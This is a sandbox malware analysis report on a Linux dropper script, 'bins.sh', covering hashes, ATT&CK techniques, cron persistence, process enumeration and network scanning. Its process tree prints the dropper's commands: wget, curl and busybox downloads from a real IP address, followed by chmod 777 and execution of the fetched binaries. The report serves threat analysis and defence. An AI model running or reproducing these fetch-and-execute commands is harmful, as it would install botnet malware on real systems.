63ebfb1dd735ffc2c621dbe9040186768beb0cf10dc504de470688646b4b578b

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21-11-2024 07:12

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General

Target

bins.sh
Size

10KB
MD5

ed776e124eb62fb1ff51f657e9ccc15c
SHA1

71dbd2838563234a9ba4946f2ef500d31b5867b8
SHA256

63ebfb1dd735ffc2c621dbe9040186768beb0cf10dc504de470688646b4b578b
SHA512

ac23b13fb0488543bc69e5db98a8588dfe7ad2188bca5d74c5aaa70e00b9251acfceee0df3cb69b3074b591bfbf2b0ae8fd240f1399b47f78411542053a38600
SSDEEP

192:OJMpj8JUmUOUEdUTUHUkN4SXlUmUOUEdUTUHUo8:OJMpj8JpN5dCyF4SXlpN5dCyo

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2083) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmod

pid process

1514 chmod
1521 chmod

pid	process
1514	chmod
1521	chmod

Executes dropped EXE 2 IoCs

Processes:

AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLIWm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

ioc	pid	process
/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	1515	AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	1522	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

Renames itself 1 IoCs

Processes:

Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

pid process

1523 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.ntKaEE crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1523	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.ntKaEE	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

description	ioc	process
File opened for reading	/proc/477/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1029/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1729/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1736/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1743/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1795/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1572/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1738/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/24/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/170/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1068/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1622/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1694/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1769/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1755/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1554/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1650/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1741/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/89/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/666/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1569/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1616/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1784/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/30/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/98/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1575/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1734/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1818/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1305/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1735/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/11/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1589/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1654/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1699/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1714/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1753/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/5/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/948/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1576/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1632/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1561/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1695/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/419/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/966/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1568/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1701/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/20/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/26/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/35/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/612/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/613/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/688/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1065/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1744/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1607/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1655/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1667/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1765/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1640/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1664/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1777/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1728/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/1824/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
File opened for reading	/proc/637/cmdline	Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	wget
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	curl
File opened for modification	/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI	busybox
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	wget
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	curl
File opened for modification	/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1506
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  - Executes dropped EXE
  PID:1515
- /bin/rm
  rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Writes file to tmp directory
  PID:1518
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/chmod
  chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1522
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1524
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1525
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1526
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1527
- /bin/rm
  rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
  2⤵
  PID:1529
- /usr/bin/wget
  wget http://216.126.231.240/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
  2⤵
  PID:1532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.ntKaEE

Filesize
210B

MD5
365a67c11977c46c455ce1f3f9b82ec5

SHA1
c59ef971e5a6d87ec236bcbff551057fad2b3816

SHA256
6e056abe47e57a1663a1ec03cab715340470700f11f22282732f5b44a4d9df3c

SHA512
37577b3c4f577ee883aa737694fdbe902ae54b97db43fd0e603bc651fb2fc3f3c95f75acf955db1f3ba4ac08d57044e4029c170a708da451ee75d2787c8ae522

Download Submit